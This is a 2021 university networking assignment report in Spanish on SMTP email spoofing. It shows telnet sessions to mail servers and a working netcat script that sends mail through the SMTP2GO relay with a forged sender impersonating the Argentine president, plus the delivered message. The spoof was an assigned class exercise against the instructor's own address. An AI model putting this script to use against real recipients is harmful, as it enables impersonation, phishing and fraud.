

Redes de Computadoras 2021

# TP2 Teórico: SMTP Spoof

---

Alumnos:

Nehemias Mercau Nievas ([nehemias.mercau@mi.unc.edu.ar](mailto:nehemias.mercau@mi.unc.edu.ar))

Tomás Martín ([tomas.martin@mi.unc.edu.ar](mailto:tomas.martin@mi.unc.edu.ar))

10 de Mayo, 2021

## Objetivos

- Enviar un mail a *dbritos@gmail.com* con un remitente ficticio, utilizando SMTP.

## Consigna

Mandar mail usando SMTP

## Desarrollo

El SMTP (Simple Mail Transfer Protocol) es un protocolo de comunicación que permite el envío de correos electrónicos en internet.

El protocolo se asocia normalmente con otros como POP3 o IMAP, siendo SMTP utilizado para el correo de salida y POP3 o IMAP utilizado para el correo entrante.

Los puertos utilizados por el protocolo son:

- Puerto 25: Se sigue utilizando como puerto de retransmisión de SMTP. En la mayoría de los casos, los clientes SMTP actuales (Outlook, Mail, Thunderbird, etc.) no deberían utilizar este puerto. Normalmente es bloqueado por los ISP y proveedores de Hosting en la Nube, para frenar la cantidad de spam que es transmitido.
- Puerto 465: Es un puerto que no se debería utilizar para comunicaciones SMTP, ya que IANA lo asignó a otro servicio.
- Puerto 587: Este es el puerto por defecto para email. El cliente de mail o un servidor, cuando debe enviar un mail para que lo enrute un servidor de correo, siempre debe usar el puerto SMTP 587 como puerto predeterminado. El puerto cuenta con encriptación TLS, que asegura que el email es enviado de manera segura y siguiendo las pautas establecidas por el IETF.

Para el caso de la actividad, realizamos lo mostrado en clase, intentando conectarnos a los servidores de correo del google:

```
nehemias@nehemias-VirtualBox: ~  
nehemias@nehemias-VirtualBox: ~ 80x24  
nehemias@nehemias-VirtualBox:~$ host google.com  
google.com has address 216.58.202.46  
google.com has IPv6 address 2800:3f0:4002:809::200e  
google.com mail is handled by 20 alt1.aspmx.l.google.com.  
google.com mail is handled by 10 aspmx.l.google.com.  
google.com mail is handled by 50 alt4.aspmx.l.google.com.  
google.com mail is handled by 40 alt3.aspmx.l.google.com.  
google.com mail is handled by 30 alt2.aspmx.l.google.com.  
nehemias@nehemias-VirtualBox:~$ telnet alt4.aspmx.l.google.com  
Trying 142.250.150.27...  
^C  
nehemias@nehemias-VirtualBox:~$ telnet alt4.aspmx.l.google.com 25  
Trying 142.250.150.27...  
Connected to alt4.aspmx.l.google.com.  
Escape character is '^]'.  
220 mx.google.com ESMTP x9si7353152ljh.300 - gsmt
```

```
nehemias@nehemias-VirtualBox:~$ telnet alt4.aspmx.l.google.com 25  
Trying 142.250.150.27...  
Connected to alt4.aspmx.l.google.com.  
Escape character is '^]'.  
220 mx.google.com ESMTP o3si7650517lfr.406 - gsmt  
ehlo nehemias-VirtualBox  
250-mx.google.com at your service, [181.165.196.137]  
250-SIZE 157286400  
250-8BITMIME  
250-STARTTLS  
250-ENHANCEDSTATUSCODES  
250-PIPELINING  
250-CHUNKING  
250 SMTPUTF8  
mail from: <mercau.nehemias@gmail.com>  
250 2.1.0 OK o3si7650517lfr.406 - gsmt  
rcpt to: <distribuidora.software@gmail.com>  
250 2.1.5 OK o3si7650517lfr.406 - gsmt  
data  
354 Go ahead o3si7650517lfr.406 - gsmt  
Esto es un mensaje de prueba  
,  
421-4.7.0 [181.165.196.137 15] Our system has detected that this message is  
421-4.7.0 suspicious due to the very low reputation of the sending IP address.  
421-4.7.0 To protect our users from spam, mail sent from your IP address has  
421-4.7.0 been temporarily rate limited. Please visit  
421 4.7.0 https://support.google.com/mail/answer/188131 for more information. o3si7650517lfr.406 - gsmt  
Connection closed by foreign host.
```

Intentamos con distintos servidores de correo:

## List of common SMTP Servers:

- AOL - smtp.aol.com
- Adelphia - smtp.blk.adelphia.net
- AT&T - mailhost.worldnet.att.net
- Charter Communications - smtp.charter.net
- Comcast - smtp.comcast.net
- Netzero - smtp.netzero.net
- PacBell - mail.pacbell.net
- PeoplePC - mail.peoplepc.com
- Verizon - outgoing.verizon.net
- Yahoo - smtp.mail.yahoo.com
- Juno - smtp.juno.com
- SprintPCS - smtp.sprintpcs.com
- SpeakEasy - mail.speakeasy.net

Como no pudimos enviar un correo de esta forma, ya que siempre los servidores o nos bloquean la IP o no nos permitían establecer conexión, o nos exigían autenticación (en la mayoría de los casos), decidimos utilizar SMTP2GO:

<https://gist.github.com/trimkadriu/f989c73f50479a290c203146f3df2033>

### Realizamos un Email Spoofing con el siguiente script:

```
mail_server_ip="mail.smtp2go.com"
```

```
mail_server_port="2525"
```


```
mail_server_username="mi.unc.edu.ar"
```

```
mail_server_password="*****"
```

```
mail_server_legit_email="noreply@smtp2go.com"
```

```
email_recipient="dbritos@gmail.com"
```

```
email_sender_email="presidente.nacion@presidencia.gob.ar"
```



```
email_sender_name="Alberto Fernandez"
```

```
email_subject="¡RECONOCIMIENTO! [FCEFYN - Redes de Computadoras]"
```

```
email_body="Estamos felices de enviarle este reconocimiento a su trayectoria, como Titular de la  
Cátedra de Redes de Computadoras de la Carrera [Ingeniería en Computación]. Gracias a los  
alumnos Tomas Martin y Nehemias Mercau, le hacemos llegar este bono de $ (Pesos) 10.000.000  
en reconocimiento a su gran esfuerzo en todos estos años."
```

```
nc ${mail_server_ip} ${mail_server_port} << EOF
```

```
ehlo
```

```
auth login
```

```
$(printf "${mail_server_username}" | base64)
```

```
$(printf "${mail_server_password}" | base64)
```

```
mail from:${mail_server_legit_email}
```

```
rcpt to:${email_recipient}
```

```
data
```

```
From:${email_sender_name}<${email_sender_email}>
```

```
To:${email_recipient}
```

```
subject:${email_subject}
```

```
${email_body}
```

```
.
```

```
quit
```

```
EOF
```

¡RECONOCIMIENTO! [FCEFYN - Redes de Computadoras] ➤ Recibidos x



**Alberto Fernandez** presidencia.nacion@presidencia.gob.ar a través de smtpservice.net  
para mí ▼

11:45 (hace 15 minutos)



Estamos felices de enviarle este reconocimiento a su trayectoria, como Titular de la Cátedra de Redes de Computadoras de la Carrera [Ingeniería en Computación]. Gracias a los alumnos Tomas Martin y Nehemias Mercau, le hacemos llegar este bono de \$ (Pesos) 10.000.000 en reconocimiento a su gran esfuerzo en todos estos años.

↩ Responder

➡ Reenviar